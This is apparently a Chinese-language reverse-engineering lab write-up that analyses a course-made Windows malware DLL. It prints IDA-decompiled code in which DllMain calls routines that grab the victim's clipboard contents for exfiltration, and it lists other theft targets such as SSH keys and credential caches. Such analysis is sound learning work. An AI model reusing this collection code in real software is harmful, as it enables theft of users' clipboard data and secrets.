Simple Reverse - 0x22(2023 Lab - WinMalware - Collect)
Background
如果想要分析DLL,可以從以下三個地方切入
- _DllMainCRTStartup (DLL 載入和移除時的初始化與收尾)
- DllMain / DllEntryPoint / CRT_INIT (function signature 相同)
- 找有三個參數的 function call
範例就大概像這樣,從
_DllMainCRTStartup
底下有call _CRT_INIT
和call DllEntryPoint
(DllMain
在比較下面)
- Exported Functions
- TLS Callback
- OpenClipboard
- GetClipboardData
- globalLock
- _itoa
Source Code
IDA解析的source code很常會出現明明沒有return value但還是自動建立的狀況,所以適時的刪除return value(Shift+DEL)是對分析比較好的做法
- DllMain
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if ( fdwReason == 1 ) { MessageBoxA(0i64, "Reflective Dll Injection success. Remember to delete the persistence file", "eductf-lab", 0); my_main(); // 不重要的東西 collect_and_exfiltrate(); } return 1; }
- collect_and_exfiltrate
void collect_and_exfiltrate(void) { PUCHAR pbInput; // [rsp+28h] [rbp-10h] BYREF pbInput = 0i64; collect_data(&pbInput); exfiltrate(pbInput); }
- collect_data
void __fastcall collect_data(char **pbInput) { char *pbInput_1; // [rsp+28h] [rbp-10h] BYREF collect_get_clipboard_data(&pbInput_1); *pbInput = pbInput_1; }
- collect_get_clipboard_data
void __fastcall collect_get_clipboard_data(LPVOID *pbInput) { HANDLE ClipboardData; // rax void *v3; // rsi int LastError; // eax char Buffer[34]; // [rsp+26h] [rbp-22h] BYREF if ( OpenClipboard(0i64) ) { ClipboardData = GetClipboardData(1u); v3 = ClipboardData; if ( ClipboardData ) { *pbInput = GlobalLock(ClipboardData); GlobalUnlock(v3); } else { LastError = GetLastError(); _itoa(LastError, Buffer, 10); } } CloseClipboard(); }
Recon
目前要分析的重點著重在DllMain中,所以其他的切入點可以先不管,並且先聚焦在collect data身上。其實作者一開始就有把debug information都放在這邊,所以分析可以更順暢
- 首先trace一下上面所有的code,會發現其實簡單到根本不用查MSDN也知道在幹嘛,就是把受害主機的剪貼簿打開,並取得這個剪貼簿的開頭指標,再回傳給
pbIntput
- 最後再傳給後續的exfiltrate function
:::info 目前的攻擊手法符合Mitre ATT&CK的T1115,剪貼簿中可能剛好有帳號、密碼、信用卡號之類的 除了剪貼簿,還能收集很多其他東西,像是:
- PDF、DOCX、XLSX、Email、Git source code
- SSH private key、Key logging、OS credential cache
- 麥克風、鏡頭、其他外接裝置
- 任何你想得到的資訊 :::